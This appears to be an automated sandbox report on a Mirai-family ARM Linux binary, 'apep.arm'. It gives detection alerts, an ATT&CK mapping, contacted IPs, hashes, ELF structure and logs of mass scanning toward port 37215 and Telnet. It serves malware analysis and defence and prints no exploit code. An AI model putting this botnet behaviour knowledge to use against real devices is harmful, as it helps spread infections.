Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215

Source: /tmp/apep.arm (PID: 5224)

Queries kernel information via 'uname':

Jump to behavior

Source: apep.arm, 5224.1.00000000387befe8.00000000e30ee919.rw-.sdmp, apep.arm, 5226.1.00000000387befe8.0000000062393db6.rw-.sdmp	Binary or memory string: /dBV!/etc/qemu-binfmt/arm
Source: apep.arm, 5224.1.00000000387befe8.00000000e30ee919.rw-.sdmp, apep.arm, 5226.1.00000000387befe8.0000000062393db6.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: apep.arm, 5224.1.00000000ffb78d89.000000004d73605f.rw-.sdmp, apep.arm, 5226.1.00000000ffb78d89.000000004d73605f.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: apep.arm, 5224.1.00000000ffb78d89.000000004d73605f.rw-.sdmp, apep.arm, 5226.1.00000000ffb78d89.000000004d73605f.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/apep.armSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/apep.arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: apep.arm, type: SAMPLE
Source: Yara match	File source: 5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: apep.arm, type: SAMPLE
Source: Yara match	File source: 5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
apep.arm	49%	ReversingLabs	Linux.Trojan.Mirai

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
186.80.153.220	unknown	Colombia	10620	TelmexColombiaSACO	false
154.241.231.35	unknown	Algeria	36947	ALGTEL-ASDZ	false
31.58.159.115	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
197.59.229.24	unknown	Egypt	8452	TE-ASTE-ASEG	false
186.232.116.116	unknown	Brazil	53190	PLUGTelecomBR	false
95.117.176.84	unknown	Germany	6805	TDDE-ASN1DE	false
121.6.104.107	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	false
45.12.189.20	unknown	United Kingdom	35085	ACORSOFR	false
154.145.60.6	unknown	Morocco	6713	IAM-ASMA	false
122.50.222.71	unknown	India	23772	ORTELNET-ASMsOrtelCommunicationsLtdIN	false
186.221.202.7	unknown	Brazil	28573	CLAROSABR	false
186.246.240.96	unknown	Brazil	7738	TelemarNorteLesteSABR	false
122.193.41.17	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
37.69.111.61	unknown	France	15557	LDCOMNETFR	false
156.43.68.99	unknown	United Kingdom	4211	ASN-MARICOPA1US	false
186.179.177.49	unknown	Suriname	27775	TelecommunicationcompanySuriname-TeleSurSR	false
190.47.95.229	unknown	Chile	22047	VTRBANDAANCHASACL	false
160.248.37.97	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
154.78.55.53	unknown	Kenya	36926	CKL1-ASNKE	false
31.136.150.23	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
37.113.197.134	unknown	Russian Federation	57044	BRYANSK-ASRU	false
190.242.230.245	unknown	Colombia	23520	COLUMBUS-NETWORKSUS	false
102.234.29.254	unknown	unknown	36926	CKL1-ASNKE	false
196.134.79.126	unknown	Egypt	36935	Vodafone-EG	false
197.143.201.43	unknown	Algeria	36891	ICOSNET-ASDZ	false
196.126.95.198	unknown	Morocco	36925	ASMediMA	false
37.187.28.205	unknown	France	16276	OVHFR	false
181.228.149.39	unknown	Argentina	10481	TelecomArgentinaSAAR	false
92.100.73.229	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
122.226.30.87	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
122.36.44.34	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
31.109.64.233	unknown	United Kingdom	12576	EELtdGB	false
107.36.246.138	unknown	United States	16567	NETRIX-16567US	false
122.53.128.157	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
31.146.6.151	unknown	Georgia	35805	SILKNET-ASGE	false
197.173.155.77	unknown	South Africa	37168	CELL-CZA	false
122.177.235.92	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
154.98.142.86	unknown	Sudan	36998	SDN-MOBITELSD	false
122.29.156.137	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
181.19.238.218	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
31.228.35.249	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
186.131.140.199	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
154.198.96.108	unknown	Seychelles	54600	PEGTECHINCUS	false
45.50.54.61	unknown	United States	20001	TWC-20001-PACWESTUS	false
31.41.10.32	unknown	Russian Federation	197658	LEVEL-NETRU	false
107.202.42.131	unknown	United States	7018	ATT-INTERNET4US	false
102.91.140.125	unknown	Nigeria	29465	VCG-ASNG	false
102.91.140.129	unknown	Nigeria	29465	VCG-ASNG	false
222.168.218.25	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
196.58.79.167	unknown	Seychelles	37518	FIBERGRIDSC	false
121.104.201.87	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
102.182.6.85	unknown	South Africa	37611	AfrihostZA	false
31.227.108.190	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
31.143.175.34	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
186.8.164.41	unknown	Uruguay	19422	TelefonicaMovilesdelUruguaySAUY	false
154.183.248.182	unknown	Egypt	8452	TE-ASTE-ASEG	false
45.255.12.77	unknown	China	132116	ANINETWORK-INAniNetworkPvtLtdIN	false
156.67.35.53	unknown	United Kingdom	48101	CALLFLOW-ASCallFlowSolutionsLtdGB	false
154.176.200.212	unknown	Egypt	8452	TE-ASTE-ASEG	false
107.144.127.68	unknown	United States	33363	BHN-33363US	false
92.27.247.66	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
160.138.244.149	unknown	United States	1500	DNIC-ASBLK-01500-01502US	false
31.127.209.192	unknown	United Kingdom	12576	EELtdGB	false
102.164.123.117	unknown	Ghana	328308	Azurde-Jewelry-ASEG	false
102.216.242.128	unknown	unknown	36926	CKL1-ASNKE	false
94.208.51.168	unknown	Netherlands	33915	TNF-ASNL	false
45.135.40.224	unknown	Netherlands	4785	XTOM-AS-JPxTomJP	false
196.25.124.121	unknown	South Africa	5713	SAIX-NETZA	false
102.171.159.178	unknown	Tunisia	37693	TUNISIANATN	false
95.66.114.200	unknown	Kuwait	42961	GPRS-ASZAINKW	false
138.154.137.186	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
122.174.155.120	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
190.165.24.75	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
37.147.203.235	unknown	Russian Federation	8371	VIMPELCOM-NNVimpelcomNizhniyNovgorodbranchfixednetwo	false
222.24.201.158	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
138.206.54.150	unknown	Switzerland	61516	VICUNATVSAAR	false
138.146.210.97	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
122.83.246.251	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
181.129.241.191	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
95.142.40.111	unknown	Russian Federation	210079	EUROBYTEEurobyteLLCMoscowRussiaRU	false
196.103.249.138	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
31.233.207.149	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
45.167.243.55	unknown	Brazil	268058	REDEMETROPOLITANADETELECOMUNICACOESLTDA-MEBR	false
154.131.138.48	unknown	Egypt	37069	MOBINILEG	false
160.248.37.60	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
31.220.220.214	unknown	United Kingdom	42689	GLIDEGB	false
197.163.1.41	unknown	Egypt	24863	LINKdotNET-ASEG	false
186.145.85.110	unknown	Colombia	10620	TelmexColombiaSACO	false
37.189.119.36	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
121.21.224.49	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
181.101.56.152	unknown	Argentina	7303	TelecomArgentinaSAAR	false
45.158.174.239	unknown	Germany	20810	NETCOM-KASSELNetcomKasselDE	false
31.134.158.107	unknown	Russian Federation	42668	NEVALINK-ASRU	false
154.35.8.206	unknown	United States	14987	RETHEMHOSTINGUS	false
160.109.15.67	unknown	United States	1294	NTTDATA-SERVICES-AS1US	false
37.70.185.230	unknown	France	15557	LDCOMNETFR	false
92.150.193.10	unknown	France	3215	FranceTelecom-OrangeFR	false
37.243.118.74	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
37.70.185.237	unknown	France	15557	LDCOMNETFR	false
160.212.192.82	unknown	United States	13333	CCI-PA-AS-1US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
31.58.159.115	UnHAnaAW.x86	Get hash	malicious	Browse
197.59.229.24	T0uznhDXKw	Get hash	malicious	Browse
197.59.229.24	FWsCarsq8Q	Get hash	malicious	Browse
197.143.201.43	x86	Get hash	malicious	Browse
197.143.201.43	Tsunami.x86	Get hash	malicious	Browse
181.228.149.39	fB3EW65a8w	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RASANAIR	bFSG6nzHxT	Get hash	malicious	Browse	37.202.175.67
	hSVdBsYfVZ	Get hash	malicious	Browse	37.202.175.87
	k2Oi2pm7H6	Get hash	malicious	Browse	37.202.175.49
	igBoEOxQat	Get hash	malicious	Browse	37.202.175.99
	Cbz2z7AIB8	Get hash	malicious	Browse	31.58.159.148
	AzPnARFc9g	Get hash	malicious	Browse	37.202.175.72
	JU3UY5dAmF	Get hash	malicious	Browse	31.58.18.199
	lWZez0y1P3	Get hash	malicious	Browse	31.58.159.151
	MJ8bpUoROH	Get hash	malicious	Browse	37.149.26.96
	uI33gc1cTd	Get hash	malicious	Browse	37.149.51.240
	db0fa4b8db0333367e9bda3ab68b8042.x86	Get hash	malicious	Browse	31.58.200.130
	hHoFfle6jI	Get hash	malicious	Browse	94.182.153.212
	BXVVd5GwMT	Get hash	malicious	Browse	31.57.157.49
	H15K3xLqOg	Get hash	malicious	Browse	31.58.159.123
	V0T2Q9C6iN.exe	Get hash	malicious	Browse	151.243.148.106
	23JFlt90aw	Get hash	malicious	Browse	94.182.90.182
	qBi49kDpUN	Get hash	malicious	Browse	31.57.182.13
	ebdNlZq4ZD	Get hash	malicious	Browse	94.183.231.118
	Ft2E9Jx4iN	Get hash	malicious	Browse	94.183.231.120
	0E9uA3q8pj	Get hash	malicious	Browse	31.57.182.27
TelmexColombiaSACO	Zbj30QzYXw	Get hash	malicious	Browse	186.147.3.105
	ZYMoKCQp40	Get hash	malicious	Browse	190.144.89.132
	n1QctxXsbN	Get hash	malicious	Browse	190.84.94.112
	vi99ZKe6ZF	Get hash	malicious	Browse	181.55.86.29
	k2Oi2pm7H6	Get hash	malicious	Browse	181.62.19.184
	jQX1YraPjv	Get hash	malicious	Browse	181.52.29.248
	qsy7sBs2QR	Get hash	malicious	Browse	190.156.168.154
	BdsJPbiWyb	Get hash	malicious	Browse	181.61.219.118
	2BysNwGAJV	Get hash	malicious	Browse	181.55.13.79
	ys78aqF2ao	Get hash	malicious	Browse	186.145.62.21
	JU3UY5dAmF	Get hash	malicious	Browse	181.48.255.122
	qbNndH2p0f	Get hash	malicious	Browse	186.87.128.71
	911.x86	Get hash	malicious	Browse	181.61.219.137
	dx86	Get hash	malicious	Browse	190.84.94.129
	905up3u4pE	Get hash	malicious	Browse	190.156.168.185
	ahsok.mips	Get hash	malicious	Browse	181.55.86.12
	ahsok.arm	Get hash	malicious	Browse	181.61.219.135
	nrV8hgyS57	Get hash	malicious	Browse	181.61.167.56
	CZ20sNTjue	Get hash	malicious	Browse	190.146.249.63
	x86	Get hash	malicious	Browse	190.158.31.127
ALGTEL-ASDZ	Zbj30QzYXw	Get hash	malicious	Browse	154.248.34.154
	ZYMoKCQp40	Get hash	malicious	Browse	154.241.243.189
	n1QctxXsbN	Get hash	malicious	Browse	41.102.161.26
	bFSG6nzHxT	Get hash	malicious	Browse	154.250.159.181
	MPmlYCqcu5	Get hash	malicious	Browse	197.113.54.122
	91KfFB6sAm	Get hash	malicious	Browse	197.117.202.189
	XUj78fC1wm	Get hash	malicious	Browse	197.116.212.229
	igBoEOxQat	Get hash	malicious	Browse	197.117.202.190
	fajkHDqLJS	Get hash	malicious	Browse	154.255.38.51
	Cbz2z7AIB8	Get hash	malicious	Browse	154.241.206.54
	e8G1cXYi2d	Get hash	malicious	Browse	154.240.253.219
	JuHhSTMOBq	Get hash	malicious	Browse	41.102.161.26
	apep.x86	Get hash	malicious	Browse	197.202.209.188
	apep.arm	Get hash	malicious	Browse	154.247.55.185
	2QMYcuMjVd	Get hash	malicious	Browse	197.116.147.29
	9i3dQ7xdtO	Get hash	malicious	Browse	197.117.17.180
	ZFfFGabP4P	Get hash	malicious	Browse	197.205.16.188
	BdsJPbiWyb	Get hash	malicious	Browse	197.116.172.28
	XE7sRnwCiM	Get hash	malicious	Browse	197.207.57.233
	Hragz3W8Mu	Get hash	malicious	Browse	197.113.54.117

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.215456384854959
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	apep.arm
File size:	83480
MD5:	fa3060614bc6cf16b9f9aaa29c9f053f
SHA1:	ee99ea174d02b2afdd934e036c3afa63716f2273
SHA256:	2ee964f29adbf149d1650e53bf87c94d5e2ffe560bbb548852c896bb1f5ffdd3
SHA512:	efdf1d81ef9d57b1e8073b5594612beb940ac600cfaa58ad41b699e2cda8884fd00609d79c3dfe4af7fd0f1b6b778f22a21cef3bb1544f9122240ec119c6a92a
SSDEEP:	1536:D/gIYMgG9FrppLl3aFUxhiPP+LtL/WwxhZVDNr1VgSaUP8jmbvZ:DiMgC91jLtTfl5ng2EmZ
File Content Preview:	.ELF...a..........(.........4...`D......4. ...(......................<...<...............@...@...@.......'..........Q.td..................................-...L."....D..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	83040
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1137c	0x0	0x6	AX	16
.fini	PROGBITS	0x1942c	0x1142c	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x19440	0x11440	0x28a4	0x0	0x2	A	4
.ctors	PROGBITS	0x24000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x24008	0x14008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x24010	0x14010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x24014	0x14014	0x408	0x0	0x3	WA	4
.bss	NOBITS	0x2441c	0x1441c	0x2380	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1441c	0x43	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x13ce4	0x13ce4	3.4263	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14000	0x24000	0x24000	0x41c	0x279c	1.7627	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 17934
• 45526 undefined
• 37215 undefined
• 443 (HTTPS)
• 80 (HTTP)
• 23 (Telnet)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2022 15:50:56.592741013 CET	1898	37215	192.168.2.23	197.144.98.195
Feb 20, 2022 15:50:56.592830896 CET	1898	37215	192.168.2.23	197.129.147.195
Feb 20, 2022 15:50:56.592864990 CET	1898	37215	192.168.2.23	197.253.68.236
Feb 20, 2022 15:50:56.592870951 CET	1898	37215	192.168.2.23	197.223.239.131
Feb 20, 2022 15:50:56.592871904 CET	1898	37215	192.168.2.23	197.138.207.38
Feb 20, 2022 15:50:56.592886925 CET	1898	37215	192.168.2.23	197.73.154.194
Feb 20, 2022 15:50:56.592902899 CET	1898	37215	192.168.2.23	197.29.54.170
Feb 20, 2022 15:50:56.592916965 CET	1898	37215	192.168.2.23	197.14.246.150
Feb 20, 2022 15:50:56.592920065 CET	1898	37215	192.168.2.23	197.227.167.115
Feb 20, 2022 15:50:56.592972994 CET	1898	37215	192.168.2.23	197.7.203.207
Feb 20, 2022 15:50:56.592993021 CET	1898	37215	192.168.2.23	197.106.143.131
Feb 20, 2022 15:50:56.593000889 CET	1898	37215	192.168.2.23	197.217.226.6
Feb 20, 2022 15:50:56.592999935 CET	1898	37215	192.168.2.23	197.79.201.32
Feb 20, 2022 15:50:56.593023062 CET	1898	37215	192.168.2.23	197.242.76.229
Feb 20, 2022 15:50:56.593044996 CET	1898	37215	192.168.2.23	197.199.41.127
Feb 20, 2022 15:50:56.593059063 CET	1898	37215	192.168.2.23	197.67.58.233
Feb 20, 2022 15:50:56.593075991 CET	1898	37215	192.168.2.23	197.150.246.8
Feb 20, 2022 15:50:56.593108892 CET	1898	37215	192.168.2.23	197.58.71.79
Feb 20, 2022 15:50:56.593121052 CET	1898	37215	192.168.2.23	197.158.31.91
Feb 20, 2022 15:50:56.593154907 CET	1898	37215	192.168.2.23	197.211.136.190
Feb 20, 2022 15:50:56.593209982 CET	1898	37215	192.168.2.23	197.148.64.168
Feb 20, 2022 15:50:56.593229055 CET	1898	37215	192.168.2.23	197.126.39.71
Feb 20, 2022 15:50:56.593240023 CET	1898	37215	192.168.2.23	197.55.255.237
Feb 20, 2022 15:50:56.593245029 CET	1898	37215	192.168.2.23	197.246.7.55
Feb 20, 2022 15:50:56.593262911 CET	1898	37215	192.168.2.23	197.251.187.224
Feb 20, 2022 15:50:56.593307018 CET	1898	37215	192.168.2.23	197.106.43.205
Feb 20, 2022 15:50:56.593312025 CET	1898	37215	192.168.2.23	197.59.161.235
Feb 20, 2022 15:50:56.593327045 CET	1898	37215	192.168.2.23	197.83.137.124
Feb 20, 2022 15:50:56.593347073 CET	1898	37215	192.168.2.23	197.80.142.141
Feb 20, 2022 15:50:56.593364954 CET	1898	37215	192.168.2.23	197.214.98.191
Feb 20, 2022 15:50:56.593390942 CET	1898	37215	192.168.2.23	197.177.97.121
Feb 20, 2022 15:50:56.593420982 CET	1898	37215	192.168.2.23	197.135.209.96
Feb 20, 2022 15:50:56.593447924 CET	1898	37215	192.168.2.23	197.70.161.15
Feb 20, 2022 15:50:56.593458891 CET	1898	37215	192.168.2.23	197.204.4.118
Feb 20, 2022 15:50:56.593488932 CET	1898	37215	192.168.2.23	197.8.57.251
Feb 20, 2022 15:50:56.593509912 CET	1898	37215	192.168.2.23	197.160.85.40
Feb 20, 2022 15:50:56.593528032 CET	1898	37215	192.168.2.23	197.32.102.153
Feb 20, 2022 15:50:56.593552113 CET	1898	37215	192.168.2.23	197.159.89.112
Feb 20, 2022 15:50:56.593571901 CET	1898	37215	192.168.2.23	197.216.145.42
Feb 20, 2022 15:50:56.593612909 CET	1898	37215	192.168.2.23	197.2.91.14
Feb 20, 2022 15:50:56.593621016 CET	1898	37215	192.168.2.23	197.107.124.193
Feb 20, 2022 15:50:56.593653917 CET	1898	37215	192.168.2.23	197.145.114.181
Feb 20, 2022 15:50:56.593667984 CET	1898	37215	192.168.2.23	197.187.228.129
Feb 20, 2022 15:50:56.593686104 CET	1898	37215	192.168.2.23	197.144.110.158
Feb 20, 2022 15:50:56.593719959 CET	1898	37215	192.168.2.23	197.134.96.179
Feb 20, 2022 15:50:56.593734980 CET	1898	37215	192.168.2.23	197.232.34.89
Feb 20, 2022 15:50:56.593758106 CET	1898	37215	192.168.2.23	197.231.112.59
Feb 20, 2022 15:50:56.593777895 CET	1898	37215	192.168.2.23	197.70.122.200
Feb 20, 2022 15:50:56.593796015 CET	1898	37215	192.168.2.23	197.209.44.104
Feb 20, 2022 15:50:56.593827963 CET	1898	37215	192.168.2.23	197.183.59.85
Feb 20, 2022 15:50:56.593856096 CET	1898	37215	192.168.2.23	197.139.253.120
Feb 20, 2022 15:50:56.593889952 CET	1898	37215	192.168.2.23	197.180.218.255
Feb 20, 2022 15:50:56.593894958 CET	1898	37215	192.168.2.23	197.120.181.166
Feb 20, 2022 15:50:56.593914032 CET	1898	37215	192.168.2.23	197.225.189.122
Feb 20, 2022 15:50:56.593944073 CET	1898	37215	192.168.2.23	197.73.215.74
Feb 20, 2022 15:50:56.593972921 CET	1898	37215	192.168.2.23	197.157.206.204
Feb 20, 2022 15:50:56.593986988 CET	1898	37215	192.168.2.23	197.187.23.25
Feb 20, 2022 15:50:56.594007969 CET	1898	37215	192.168.2.23	197.215.94.134
Feb 20, 2022 15:50:56.594027996 CET	1898	37215	192.168.2.23	197.51.228.38
